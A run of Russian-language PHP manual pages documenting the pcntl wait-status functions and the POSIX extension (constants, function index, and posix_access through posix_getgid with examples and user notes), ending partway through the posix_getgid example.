Проверяет, соответствует ли код завершения процесса нормальному завершению

  • « pcntl_wexitstatus
  • pcntl_wifsignaled »
  • PHP Manual
  • Функции PCNTL
  • Проверяет, соответствует ли код завершения процесса нормальному завершению

pcntl_wifexited

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_wifexited — Проверяет, соответствует ли код завершения процесса нормальному завершению

Описание

pcntl_wifexited(int $status): bool

Проверяет, соответствует ли код завершения процесса нормальному завершению.

Список параметров

status

Параметр status — это параметр статуса, передаваемый для успешного вызова функции pcntl_waitpid().

Возвращаемые значения

Возвращает true, если код завершения дочернего процесса соответствует нормальному завершению. Если нет, то возвращает false.

Смотрите также

  • pcntl_waitpid() - Ожидает или возвращает статус порождённого дочернего процесса
  • pcntl_wexitstatus() - Получить код возврата завершённого дочернего процесса

User Contributed Notes

There are no user contributed notes for this page.


Проверить, соответствует ли код завершения процесса завершению по сигналу

  • « pcntl_wifexited
  • pcntl_wifstopped »
  • PHP Manual
  • Функции PCNTL
  • Проверить, соответствует ли код завершения процесса завершению по сигналу

pcntl_wifsignaled

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_wifsignaled — Проверить, соответствует ли код завершения процесса завершению по сигналу

Описание

pcntl_wifsignaled(int $status): bool

Проверить, соответствует ли код завершения процесса завершению по сигналу.

Список параметров

status

Параметр status — это параметр статуса, передаваемый для успешного вызова функции pcntl_waitpid().

Возвращаемые значения

Возвращает true, если дочерний процесс был завершён из-за неперехваченного сигнала. Если нет, то возвращает false.

Смотрите также

  • pcntl_waitpid() - Ожидает или возвращает статус порождённого дочернего процесса
  • pcntl_signal() - Установка обработчика сигнала

User Contributed Notes

There are no user contributed notes for this page.


Проверить, остановлен ли дочерний процесс

  • « pcntl_wifsignaled
  • pcntl_wstopsig »
  • PHP Manual
  • Функции PCNTL
  • Проверить, остановлен ли дочерний процесс

pcntl_wifstopped

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_wifstopped — Проверить, остановлен ли дочерний процесс

Описание

pcntl_wifstopped(int $status): bool

Проверяет, остановлен ли дочерний процесс вызвавший возврат; это возможно только если функция pcntl_waitpid() вызывалась с опцией WUNTRACED.

Список параметров

status

Параметр status — это параметр статуса, передаваемый для успешного вызова функции pcntl_waitpid().

Возвращаемые значения

Возвращает true, если дочерний процесс вызвавший возврат сейчас остановлен. Если нет, то возвращает false.

Смотрите также

  • pcntl_waitpid() - Ожидает или возвращает статус порождённого дочернего процесса

User Contributed Notes

There are no user contributed notes for this page.


Получить сигнал, из-за которого был остановлен дочерний процесс

  • « pcntl_wifstopped
  • pcntl_wtermsig »
  • PHP Manual
  • Функции PCNTL
  • Получить сигнал, из-за которого был остановлен дочерний процесс

pcntl_wstopsig

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_wstopsig — Получить сигнал, из-за которого был остановлен дочерний процесс

Описание

pcntl_wstopsig(int $status): int|false

Возвращает сигнал, из-за которого был остановлен дочерний процесс. Функция имеет смысл только если pcntl_wifstopped() вернула true.

Список параметров

status

Параметр status — это параметр статуса, передаваемый для успешного вызова функции pcntl_waitpid().

Возвращаемые значения

Возвращает номер сигнала. Если эта функция не поддерживается ОС, возвращается false.

Смотрите также

  • pcntl_waitpid() - Ожидает или возвращает статус порождённого дочернего процесса
  • pcntl_wifstopped() - Проверить, остановлен ли дочерний процесс

User Contributed Notes

There are no user contributed notes for this page.


Получить сигнал, из-за которого был принудительно завершён дочерний процесс

  • « pcntl_wstopsig
  • POSIX »
  • PHP Manual
  • Функции PCNTL
  • Получить сигнал, из-за которого был принудительно завершён дочерний процесс

pcntl_wtermsig

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

pcntl_wtermsig — Получить сигнал, из-за которого был принудительно завершён дочерний процесс

Описание

pcntl_wtermsig(int $status): int|false

Возвращает номер сигнала, из-за которого был принудительно завершён дочерний процесс. Имеет смысл только если pcntl_wifsignaled() вернула true.

Список параметров

status

Параметр status — это параметр статуса, передаваемый для успешного вызова функции pcntl_waitpid().

Возвращаемые значения

Возвращает номер сигнала. Если эта функция не поддерживается ОС, возвращается false.

Смотрите также

  • pcntl_waitpid() - Ожидает или возвращает статус порождённого дочернего процесса
  • pcntl_signal() - Установка обработчика сигнала
  • pcntl_wifsignaled() - Проверить, соответствует ли код завершения процесса завершению по сигналу

User Contributed Notes

There are no user contributed notes for this page.


POSIX

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
    • Константы posix_access
    • Константы posix_mknod
    • Константы posix_setrlimit
  • POSIX Функции
    • posix_access — Определяет доступность файла
    • posix_ctermid — Возвращает путь управляющего терминала
    • posix_eaccess — Determine accessibility of a file
    • posix_errno — Псевдоним posix_get_last_error
    • posix_fpathconf — Returns the value of a configurable limit
    • posix_get_last_error — Возвращает номер ошибки, которая произошла в последней posix функции, завершившейся неудачей
    • posix_getcwd — Возвращает путь текущей директории
    • posix_getegid — Возвращает эффективный идентификатор группы текущего процесса EGID
    • posix_geteuid — Возвращает эффективный идентификатор пользователя текущего процесса EUID
    • posix_getgid — Возвращает действительный ID группы текущего процесса GID
    • posix_getgrgid — Возвращает информацию о группе по её ID
    • posix_getgrnam — Возвращает информацию о группе, используя её имя
    • posix_getgroups — Возвращает список групп для текущего процесса
    • posix_getlogin — Возвращает логин владельца процесса
    • posix_getpgid — Возвращает ID группы текущего процесса для менеджера задач
    • posix_getpgrp — Возвращает идентификатор группы текущего процесса
    • posix_getpid — Возвращает идентификатор текущего процесса
    • posix_getppid — Возвращает идентификатор родительского процесса
    • posix_getpwnam — Возвращает информацию о пользователе по его имени
    • posix_getpwuid — Возвращает информацию о пользователе, используя его ID
    • posix_getrlimit — Возвращает информацию об ограничениях системных ресурсов
    • posix_getsid — Возвращает текущий SID процесса
    • posix_getuid — Возвращает фактический идентификатор пользователя текущего процесса UID
    • posix_initgroups — Определяет уровень доступа для группы
    • posix_isatty — Определяет является ли файловый дескриптор интерактивным терминалом
    • posix_kill — Отправляет сигнал соответствующему процессу
    • posix_mkfifo — Создаёт специальный fifo файл (именованный канал- pipe)
    • posix_mknod — Создаёт специальный или обычный файл (POSIX.1)
    • posix_pathconf — Returns the value of a configurable limit
    • posix_setegid — Устанавливает эффективный идентификатор группы для текущего процесса EGID
    • posix_seteuid — Устанавливает эффективный идентификатор пользователя для текущего процесса EUID
    • posix_setgid — Устанавливает идентификатор группы для текущего процесса GID
    • posix_setpgid — Устанавливает идентификатор группы процесса для менеджера задач
    • posix_setrlimit — Устанавливает пределы системных ресурсов
    • posix_setsid — Делает текущий процесс лидером сессии
    • posix_setuid — Устанавливает UID текущего процесса
    • posix_strerror — Возвращает системное сообщение об ошибке, основываясь на полученном номере ошибки
    • posix_sysconf — Returns system runtime information
    • posix_times — Возвращает информацию об использовании процессорного времени
    • posix_ttyname — Определяет имя терминального устройства
    • posix_uname — Возвращает информацию о системе

User Contributed Notes

docvert at holloway dot co dot nz 16-Jun-2008 05:45
I suggest changing the description of posix_times() from "Get process times" to "Get current process times" in order to follow the "current process" naming convention of the other functions.


Введение

Этот модуль содержит интерфейс к функциям, определённым в стандарте IEEE 1003.1 (POSIX.1), которые не доступны с помощью других средств.

Внимание

Конфиденциальные данные могут быть получены с помощью POSIX функций, например posix_getpwnam() и других.

Замечание: Для Windows-платформ этот модуль недоступен.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Модуль включён по умолчанию. Он может быть отключён во время выполнения с помощью следующей опции: --disable-posix

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Содержание

  • Константы posix_access
  • Константы posix_mknod
  • Константы posix_setrlimit

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Константы posix_access

  • « Предопределённые константы
  • Константы posix_mknod »
  • PHP Manual
  • Предопределённые константы
  • Константы posix_access

Константы posix_access()

Замечание:

Пожалуйста, обратите внимание, что некоторые из данных констант могут быть недоступны в вашей операционной системе.

POSIX_F_OK (int)
Проверить, существует ли файл.
POSIX_R_OK (int)
Проверить, существует ли файл и имеется ли разрешение на чтение.
POSIX_W_OK (int)
Проверить, существует ли файл и имеется ли разрешение на запись.
POSIX_X_OK (int)
Проверить, существует ли файл и имеется ли разрешение на выполнение.

User Contributed Notes

There are no user contributed notes for this page.


Константы posix_mknod

  • « Константы posix_access
  • Константы posix_setrlimit »
  • PHP Manual
  • Предопределённые константы
  • Константы posix_mknod

Константы posix_mknod()

Замечание:

Пожалуйста, обратите внимание, что некоторые из данных констант могут быть недоступны в вашей операционной системе.

POSIX_S_IFBLK (int)
Блочный специальный файл
POSIX_S_IFCHR (int)
Символьный специальный файл
POSIX_S_IFIFO (int)
FIFO (именованный канал) специальный файл
POSIX_S_IFREG (int)
Обычный файл
POSIX_S_IFSOCK (int)
Сокет

User Contributed Notes

There are no user contributed notes for this page.


Константы posix_setrlimit

  • « Константы posix_mknod
  • POSIX Функции »
  • PHP Manual
  • Предопределённые константы
  • Константы posix_setrlimit

Константы posix_setrlimit()

Замечание:

Пожалуйста, обратите внимание, что некоторые из данных констант могут быть недоступны в вашей операционной системе.

Замечание:

В дополнение к приведённой ниже информации вы можете изучить раздел руководства функции setrlimit() для вашей конкретной операционной системы, т.к. существуют различия в том как эти ограничения интерпретируются, даже в системах, которые заявляют о полной реализации POSIX.

POSIX_RLIMIT_AS (int)
Максимальный размер адресного пространства процесса в байтах. Также смотрите конфигурационную директиву memory_limit.
POSIX_RLIMIT_CORE (int)
Максимальный размер файла дампа ядра. Если это ограничение установлено в качестве 0, то файл дампа ядра создаваться не будет.
POSIX_RLIMIT_CPU (int)
Максимальное количество процессорного времени, которое может быть использовано процессом, в секундах. Когда достигается мягкое ограничение, процессу будет отправлен сигнал SIGXCPU, который может быть обработан с помощью функции pcntl_signal(). В зависимости от операционной системы, может ежесекундно посылаться дополнительный сигнал SIGXCPU, пока не будет достигнут жёсткий предел, достижение которого нельзя обработать. Процессу будет отправлен сигнал SIGKILL. Смотрите также set_time_limit().
POSIX_RLIMIT_DATA (int)
Максимальный размер сегмента данных процесса, в байтах. Крайне маловероятно, что данное ограничение будет влиять на выполнение PHP, за исключением модулей, использующих вызовы функций brk() или sbrk().
POSIX_RLIMIT_FSIZE (int)
Максимальный размер файлов, которые могут быть созданы процессом в байтах.
POSIX_RLIMIT_LOCKS (int)
Максимальное количество блокировок, которое данный процесс может создать. Это поддерживается только на очень старых ядрах Linux.
POSIX_RLIMIT_MEMLOCK (int)
Максимальное количество байт, которое может быть заблокировано в памяти.
POSIX_RLIMIT_MSGQUEUE (int)
Максимальное количество байт, которое может быть выделено под очередь сообщений POSIX. Стандартная сборка PHP не поддерживает POSIX очередь сообщений, поэтому данное ограничение не будет иметь никакого эффекта, кроме случаев, когда вы используете модули, обеспечивающие эту поддержку.
POSIX_RLIMIT_NICE (int)
Максимальное значение, приоритета планировщика процессов, которое может быть установлено. Итоговое значение вычисляется как 20 - limit. Как ограничение ресурса значение не может быть отрицательным.
POSIX_RLIMIT_NOFILE (int)
Значение, превышающее на 1, максимальное количество файловых дескрипторов, которое может быть открыть процессом.
POSIX_RLIMIT_NPROC (int)
Максимальное количество процессов (и/или нитей, в зависимости от операционной системы) которое может быть создано для реального пользователя процесса.
POSIX_RLIMIT_RSS (int)
Максимальный размер физической памяти (RAM), используемой кодом процесса и данными, в страницах.
POSIX_RLIMIT_RTPRIO (int)
Максимальный приоритет реального времени, который может быть установлен с помощью системных вызовов sched_setscheduler() и sched_setparam().
POSIX_RLIMIT_RTTIME (int)
Максимальное количество процессорного времени, в миллисекундах, которое процесс может использовать без блокирования системных вызовов при использовании планировщика реального времени.
POSIX_RLIMIT_SIGPENDING (int)
Максимальное количество сигналов, которое можно поставить в очередь для реального пользователя данного процесса.
POSIX_RLIMIT_STACK (int)
Максимальный размер стека процесса в байтах.
POSIX_RLIMIT_INFINITY (int)
Используется для отображения бесконечного значения ограничения ресурса.
POSIX_RLIMIT_KQUEUES (int)
Максимальное количество kqueue, которое может создать этот идентификатор пользователя (FreeBSD). Доступно с PHP 8.1.0.
POSIX_RLIMIT_NPTS (int)
Максимальное количество псевдотерминалов, которое может создать этот идентификатор пользователя (FreeBSD). Доступно с PHP 8.1.0.

User Contributed Notes

There are no user contributed notes for this page.


POSIX Функции

Смотрите также

Также может оказаться полезным раздел "Функции управления процессами".

Содержание

  • posix_access — Определяет доступность файла
  • posix_ctermid — Возвращает путь управляющего терминала
  • posix_eaccess — Determine accessibility of a file
  • posix_errno — Псевдоним posix_get_last_error
  • posix_fpathconf — Returns the value of a configurable limit
  • posix_get_last_error — Возвращает номер ошибки, которая произошла в последней posix функции, завершившейся неудачей
  • posix_getcwd — Возвращает путь текущей директории
  • posix_getegid — Возвращает эффективный идентификатор группы текущего процесса EGID
  • posix_geteuid — Возвращает эффективный идентификатор пользователя текущего процесса EUID
  • posix_getgid — Возвращает действительный ID группы текущего процесса GID
  • posix_getgrgid — Возвращает информацию о группе по её ID
  • posix_getgrnam — Возвращает информацию о группе, используя её имя
  • posix_getgroups — Возвращает список групп для текущего процесса
  • posix_getlogin — Возвращает логин владельца процесса
  • posix_getpgid — Возвращает ID группы текущего процесса для менеджера задач
  • posix_getpgrp — Возвращает идентификатор группы текущего процесса
  • posix_getpid — Возвращает идентификатор текущего процесса
  • posix_getppid — Возвращает идентификатор родительского процесса
  • posix_getpwnam — Возвращает информацию о пользователе по его имени
  • posix_getpwuid — Возвращает информацию о пользователе, используя его ID
  • posix_getrlimit — Возвращает информацию об ограничениях системных ресурсов
  • posix_getsid — Возвращает текущий SID процесса
  • posix_getuid — Возвращает фактический идентификатор пользователя текущего процесса UID
  • posix_initgroups — Определяет уровень доступа для группы
  • posix_isatty — Определяет является ли файловый дескриптор интерактивным терминалом
  • posix_kill — Отправляет сигнал соответствующему процессу
  • posix_mkfifo — Создаёт специальный fifo файл (именованный канал- pipe)
  • posix_mknod — Создаёт специальный или обычный файл (POSIX.1)
  • posix_pathconf — Returns the value of a configurable limit
  • posix_setegid — Устанавливает эффективный идентификатор группы для текущего процесса EGID
  • posix_seteuid — Устанавливает эффективный идентификатор пользователя для текущего процесса EUID
  • posix_setgid — Устанавливает идентификатор группы для текущего процесса GID
  • posix_setpgid — Устанавливает идентификатор группы процесса для менеджера задач
  • posix_setrlimit — Устанавливает пределы системных ресурсов
  • posix_setsid — Делает текущий процесс лидером сессии
  • posix_setuid — Устанавливает UID текущего процесса
  • posix_strerror — Возвращает системное сообщение об ошибке, основываясь на полученном номере ошибки
  • posix_sysconf — Returns system runtime information
  • posix_times — Возвращает информацию об использовании процессорного времени
  • posix_ttyname — Определяет имя терминального устройства
  • posix_uname — Возвращает информацию о системе

User Contributed Notes

random832 at fastmail dot fm 13-Jun-2007 09:04
That is not part of POSIX, those are only present as you listed on linux systems - some other systems have a /proc with different things in it (sometimes stuff that's symbolic links on linux will be hardlinks, textfiles on linux will be binary, or different files with different information) or none at all
roberto at spadim dot com dot br 02-Oct-2006 09:36
don't forget that in posix systems you can use /proc/$process_id/
files:
auxv
cmdline
cwd
environ
exe
fd
maps
mem
mounts
root
stat
statm
status
task
wchan

with it you can make somethings like:

$PPID=getmypid();
$pid=pcntl_fork();
if ($pid==0){
while(1){
if (strpos(file_get_contents("/proc/$PPID/cmdline"),'php')===false) echo "parent pid die";
}

}else{
// forked
}

with this you can use some libs that block signal or some bad signal handling or zombies process or anything you can think :)


Определяет доступность файла

  • « POSIX Функции
  • posix_ctermid »
  • PHP Manual
  • POSIX Функции
  • Определяет доступность файла

posix_access

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

posix_access — Определяет доступность файла

Описание

posix_access(string $filename, int $flags = 0): bool

Функция posix_access() проверяет права пользователя на доступ к файлу.

Список параметров

filename

Путь к проверяемому файлу.

flags

Маска, состоящая из одной или более констант: POSIX_F_OK, POSIX_R_OK, POSIX_W_OK или POSIX_X_OK.

POSIX_R_OK, POSIX_W_OK и POSIX_X_OK проверяют существование и доступность файла на чтение, запись и выполнение. POSIX_F_OK проверяет только существование файла.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования posix_access()

В данном примере проверяется доступность файла на чтение и запись, в противном случае выводится сообщение об ошибке.

<?php

$file = 'some_file';

if (posix_access($file, POSIX_R_OK | POSIX_W_OK)) {
echo 'Файл доступен на чтение и запись!';

} else {
$error = posix_get_last_error();

echo "Error $error: " . posix_strerror($error);
}

?>

Примечания

Смотрите также

  • posix_get_last_error() - Возвращает номер ошибки, которая произошла в последней posix функции, завершившейся неудачей
  • posix_strerror() - Возвращает системное сообщение об ошибке, основываясь на полученном номере ошибки

User Contributed Notes

unixguy at earth dot com 12-Jun-2014 08:00
It should be noted that this function performs access checks based on the real UID and real GID of the process running PHP.  These aren't necessarily the same as the effective UID and GID.

In other words, it may well be that access() returns "true" for a particular permission, but an fopen() operation which requires the same permission will fail, and vice versa.

Keep that in mind if you use access() for such checks.


Возвращает путь управляющего терминала

  • « posix_access
  • posix_eaccess »
  • PHP Manual
  • POSIX Функции
  • Возвращает путь управляющего терминала

posix_ctermid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_ctermid — Возвращает путь управляющего терминала

Описание

posix_ctermid(): string|false

Возвращает переменную типа string, содержащую путь до текущего управляющего терминала данного процесса. В случае возникновения ошибки будет установлен её номер, который может быть обработан с использованием posix_get_last_error()

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешного выполнения возвращает string с путём до текущего управляющего терминала. В противном случае возвращает false и устанавливает номер ошибки, который может быть обработан с помощью posix_get_last_error().

Примеры

Пример #1 Пример использования posix_ctermid()

Данный скрипт выводит путь до текущего управляющего терминала (TTY).

<?php
echo "I am running from ".posix_ctermid();
?>

Смотрите также

  • posix_ttyname() - Определяет имя терминального устройства
  • posix_get_last_error() - Возвращает номер ошибки, которая произошла в последней posix функции, завершившейся неудачей

User Contributed Notes

phpmanual at remove dot mark dot griffin dot email 19-Apr-2016 09:18
You can write directly to the tty (screen) even when the shell has redirected output, with:

<?php
$h = fopen(posix_ctermid(), "rb+");
fwrite($h, "Testing direct output\n");
fclose($h);
?>


Determine accessibility of a file

  • « posix_ctermid
  • posix_errno »
  • PHP Manual
  • POSIX Функции
  • Determine accessibility of a file

posix_eaccess

(PHP 8 >= 8.3.0)

posix_eaccess — Determine accessibility of a file

Описание

posix_eaccess(string $filename, int $flags = 0): bool

posix_eaccess() checks the effective user's permission of a file

Список параметров

filename

The name of a file to be tested.

flags

A mask consisting of one or more of POSIX_F_OK, POSIX_R_OK, POSIX_W_OK and POSIX_X_OK.

POSIX_R_OK, POSIX_W_OK and POSIX_X_OK request checking whether the file exists and has read, write and execute permissions, respectively. POSIX_F_OK just requests checking for the existence of the file.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.3.0 | Checks the effective user/group for a file, differing from posix_access() which checks from the real user/group.

Примеры

Пример #1 posix_eaccess() example

This example will check if the $file is readable and writable, otherwise will print an error message.

<?php

$file = 'some_file';

if (posix_eaccess($file, POSIX_R_OK | POSIX_W_OK)) {
echo 'The file is readable and writable!';

} else {
$error = posix_get_last_error();

echo "Error $error: " . posix_strerror($error);
}

?>

Примечания

Смотрите также

  • posix_get_last_error() - Возвращает номер ошибки, которая произошла в последней posix функции, завершившейся неудачей
  • posix_strerror() - Возвращает системное сообщение об ошибке, основываясь на полученном номере ошибки
  • posix_access() - Определяет доступность файла

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним posix_get_last_error

  • « posix_eaccess
  • posix_fpathconf »
  • PHP Manual
  • POSIX Функции
  • Псевдоним posix_get_last_error

posix_errno

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

posix_errno — Псевдоним posix_get_last_error()

Описание

Функция является псевдонимом: posix_get_last_error().

User Contributed Notes

There are no user contributed notes for this page.


Returns the value of a configurable limit

  • « posix_errno
  • posix_get_last_error »
  • PHP Manual
  • POSIX Функции
  • Returns the value of a configurable limit

posix_fpathconf

(PHP 8 >= 8.3.0)

posix_fpathconf — Returns the value of a configurable limit

Описание

posix_fpathconf(resource|int $file_descriptor, int $name): int|false

Returns the value of a configurable limit from name for a file descriptor resource

Список параметров

file_descriptor

Файловый дескриптор, который ожидается в виде или ресурса resource или целого числа int. Под int подразумевается файловый дескриптор, который можно передать непосредственно в базовый системный вызов.

name

The name of the configurable limit, one of the following. POSIX_PC_LINK_MAX, POSIX_PC_MAX_CANON POSIX_PC_MAX_INPUT, POSIX_PC_NAME_MAX POSIX_PC_PATH_MAX, POSIX_PC_PIPE_BUF POSIX_PC_CHOWN_RESTRICTED, POSIX_PC_NO_TRUNC POSIX_PC_ALLOC_SIZE_MIN, POSIX_PC_SYMLINK_MAX

Возвращаемые значения

Returns the configurable limit or false.

Ошибки

Throws a ValueError when resource is invalid.

Примеры

Пример #1 posix_fpathconf() example

This example will get the max path name's length in bytes for the current dir.

<?php
$fd = fopen(__DIR__, "r");
echo posix_fpathconf($fd, POSIX_PC_PATH_MAX);
?>

Результат выполнения данного примера:

4096

Примечания

Смотрите также

  • posix_pathconf() - Returns the value of a configurable limit

User Contributed Notes

There are no user contributed notes for this page.


Возвращает номер ошибки, которая произошла в последней posix функции, завершившейся неудачей

  • « posix_fpathconf
  • posix_getcwd »
  • PHP Manual
  • POSIX Функции
  • Возвращает номер ошибки, которая произошла в последней posix функции, завершившейся неудачей

posix_get_last_error

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

posix_get_last_error — Возвращает номер ошибки, которая произошла в последней posix функции, завершившейся неудачей

Описание

posix_get_last_error(): int

Возвращает номер ошибки, произошедшей в последней posix функции, завершившейся неудачей. Системное сообщение об ошибке, соответствующее её номеру, может быть получено с помощью posix_strerror().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает номер ошибки, установленный последней posix функцией, завершившейся неудачей. В случае отсутствия ошибок возвращает 0.

Примеры

Пример #1 Пример использования posix_get_last_error()

В данном примере происходит попытка завершить несуществующий процесс по его id. Попытка завершается неудачей и возвращает номер ошибки, который будет выведен.

<?php
posix_kill(999459,SIGKILL);
echo 'Your error returned was '.posix_get_last_error(); //Your error was ___
?>

Смотрите также

  • posix_strerror() - Возвращает системное сообщение об ошибке, основываясь на полученном номере ошибки

User Contributed Notes

anajilly at gmail dot com 19-Jan-2014 10:20
Many posix functions give very useful information in the errno code when an error occurs.  For instance, stream_select(), when it generates an error, according to the man page (man 2 select) may return one of four different errors which are listed as:  EBADF, EINTR, EINVAL, ENOMEM.  See the man page for more specific information about these.  In this example, when the stream_select() function returns false, posix_get_last_error() will return a non-zero value that will be set to one of these constants.  For instance, if stream_select() == false, and posix_get_last_error() == EBADF,  then one of the file descriptors given to the select() function has probably closed somehow. If, on the other hand, posix_get_last_error() returns EINTR then stream_select() returned FALSE not because of any true error condition, but only because the process handled a signal. When the signal arrives while stream_select() is blocking it will always stop blocking and return false immediately. This behavior makes sense, though it can seem inconvenient.  You just have to handle it correctly. (not many do, in php.)

From this example it should probably be clear that one should at least consider handling different error types in different ways.  EINTER should probably be ignored for instance, unless your program uses signalling to open or close file handles or sockets.

These error constants listed in the related POSIX man pages are not part of the PHP interface. When you call posix_get_last_error() it will return an integer. The problem  with getting an unnamed integer return code is that these integers may mean different things on different systems.  You can (and probably should) pass the resulting integer to the posix_strerror() function, which will return an accurate human-readable description of what the error is. This is useful of course, but mainly for logging. (String descriptions of errors are far more prone to change than are the actual integer value codes.)  Truly, when using the result of posix_errno() it is best to check the value against a set of possible constants.  The constants you compare them to are system specific, as stated earlier, so you need to look them up on that system.  Here is an easy and reliable way to do that.

Look at the errno man page ($ man errno) and copy all of the constant names into a very basic C file.  like this.

===================================
#include <errno.h>
#include <stdio.h>
int main(){
  printf("define('E2BIG', %d);\n", E2BIG);
  printf("define('EACCES', %d);\n", EACCES);
  printf("define('EADDRINUSE', %d);\n", EADDRINUSE);
  printf("define('EADDRNOTAVAIL', %d);\n", EADDRNOTAVAIL);
//  ...  etc. etc.
}
===================================

Now, if you just run this code through the C pre-processor (i.e. 'gcc -E cfile.c'), then those constant names will be replaced by the numbers which are used on your system.  (warning:  running the C compiler/pre-processor needs to take place on the system where the PHP code will be running. keep track of whether nfs is in use or something else along those lines which may separate your coding environment from the runtime environment.)  In addition to running the C pre-processor you also simply compile and run the above program (i.e. 'gcc cfile.c && ./a.out'). Running it will generate a PHP compatible list of define() calls that will correctly define these constants in your PHP program on the target system, so will be usable. Simply copy the definitions into a php file.

To finish the example, you might use these constants like this:

$selret = stream_select( $r, $w, $e, $to );
if( $selret === false )
{
    switch( posix_get_last_error() )
    {
        case EBADF:    /* one of the handles is bad. fix it. */ break;
        case EINVAL:    /* $to is negative? woops. */ break;
        case ENOMEM:
            throw new exception("probable memory leak. restart.");
            break;
       case EINTR:
           break; // usually ignore EINTR after select() is fine.
    }
}


Возвращает путь текущей директории

  • « posix_get_last_error
  • posix_getegid »
  • PHP Manual
  • POSIX Функции
  • Возвращает путь текущей директории

posix_getcwd

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getcwd — Возвращает путь текущей директории

Описание

posix_getcwd(): string|false

Возвращает абсолютный путь рабочей директории выполняемого скрипта. В случае возникновения ошибки будет установлен её номер, который может быть обработан с помощью posix_get_last_error()

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает string с абсолютным путём в случае успешного выполнения. В случае возникновения ошибки будет возвращено false, также будет установлен номер ошибки, который может быть обработан с помощью posix_get_last_error().

Примеры

Пример #1 Пример использования posix_getcwd()

В данном примере возвращается абсолютный путь рабочей директории выполняемого скрипта.

<?php
echo 'My current working directory is '.posix_getcwd();
?>

Примечания

Замечание:

Функция завершится ошибкой в следующих случаях

  • Отсутствуют права на чтение или поиск
  • Данного пути больше не существует

User Contributed Notes

phpmanual-getcwd at devin dot com 26-Jul-2000 06:39
From the GNU getcwd(3) manpage, paraphrased: returns the absolute pathname of the current working directory.  Fails when the current directory is not eradable.  Complies with POSIX.1 spec.


Возвращает эффективный идентификатор группы текущего процесса EGID

  • « posix_getcwd
  • posix_geteuid »
  • PHP Manual
  • POSIX Функции
  • Возвращает эффективный идентификатор группы текущего процесса EGID

posix_getegid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getegid — Возвращает эффективный идентификатор группы текущего процесса EGID

Описание

posix_getegid(): int

Возвращает эффективной идентификатор группы текущего процесса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает число типа int соответствующее эффективному идентификатору группы.

Примеры

Пример #1 Пример использования posix_getegid()

В примере программа выводит эффективный идентификатор группы процесса, меняет его с помощью функции posix_setegid() и выводит снова.

<?php
echo 'My real group id is '.posix_getgid(); //20
posix_setegid(40);
echo 'My real group id is '.posix_getgid(); //20
echo 'My effective group id is '.posix_getegid(); //40
?>

Примечания

posix_getegid() отличается от posix_getgid() потому, что эффективный идентификатор группы может быть изменён вызванным процессом, используя posix_setegid().

Смотрите также

  • posix_getgrgid() - Возвращает информацию о группе по её ID
  • posix_getgid() - Возвращает действительный ID группы текущего процесса GID
  • posix_setgid() - Устанавливает идентификатор группы для текущего процесса GID

User Contributed Notes

There are no user contributed notes for this page.


Возвращает эффективный идентификатор пользователя текущего процесса EUID

  • « posix_getegid
  • posix_getgid »
  • PHP Manual
  • POSIX Функции
  • Возвращает эффективный идентификатор пользователя текущего процесса EUID

posix_geteuid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_geteuid — Возвращает эффективный идентификатор пользователя текущего процесса EUID

Описание

posix_geteuid(): int

Возвращает число, соответствующее эффективному идентификатору пользователя текущего процесса. Посмотрите функцию posix_getpwuid() для получения информации как преобразовать данное число в имя пользователя.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ID пользователя как int

Примеры

Пример #1 Пример использования posix_geteuid()

Данный пример выводит ID текущего пользователя, затем устанавливает значение для эффективного идентификатора пользователя, используя функцию posix_seteuid(), и показывает разницу между действительным и эффективным идентификаторами пользователя.

<?php
echo posix_getuid()."\n"; //10001
echo posix_geteuid()."\n"; //10001
posix_seteuid(10000);
echo posix_getuid()."\n"; //10001
echo posix_geteuid()."\n"; //10000
?>

Смотрите также

  • posix_getpwuid() - Возвращает информацию о пользователе, используя его ID
  • posix_getuid() - Возвращает фактический идентификатор пользователя текущего процесса UID
  • posix_setuid() - Устанавливает UID текущего процесса
  • POSIX руководство GETEUID(2)

User Contributed Notes

divinity76+spam at gmail dot com 14-Jan-2022 10:48
if you for some reason need the euid without depending on php-posix being available, try

<?php
function geteuid_without_posix_dependency(): int
{
    try {
        // this is faster if available
        return \posix_geteuid();
    } catch (\Throwable $ex) {
        // php-posix not available.. fallback to hack
        $t = tmpfile();
        $ret = fstat($t)["uid"];
        fclose($t);
        return $ret;
    }
}


Возвращает действительный ID группы текущего процесса GID

  • « posix_geteuid
  • posix_getgrgid »
  • PHP Manual
  • POSIX Функции
  • Возвращает действительный ID группы текущего процесса GID

posix_getgid

(PHP 4, PHP 5, PHP 7, PHP 8)

posix_getgid — Возвращает действительный ID группы текущего процесса GID

Описание

posix_getgid(): int

Возвращает число, соответствующее действительному ID группы текущего процесса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает int, соответствующее действительному ID группы текущего процесса.

Примеры

Пример #1 Пример использования posix_getgid()

В примере выводится действительный идентификатор группы процесса до и после того как эффективный идентификатор группы процесса был изменён.

<?php
echo 'My real group id is '.posix_getgid(); //20
posix_setegid(40);
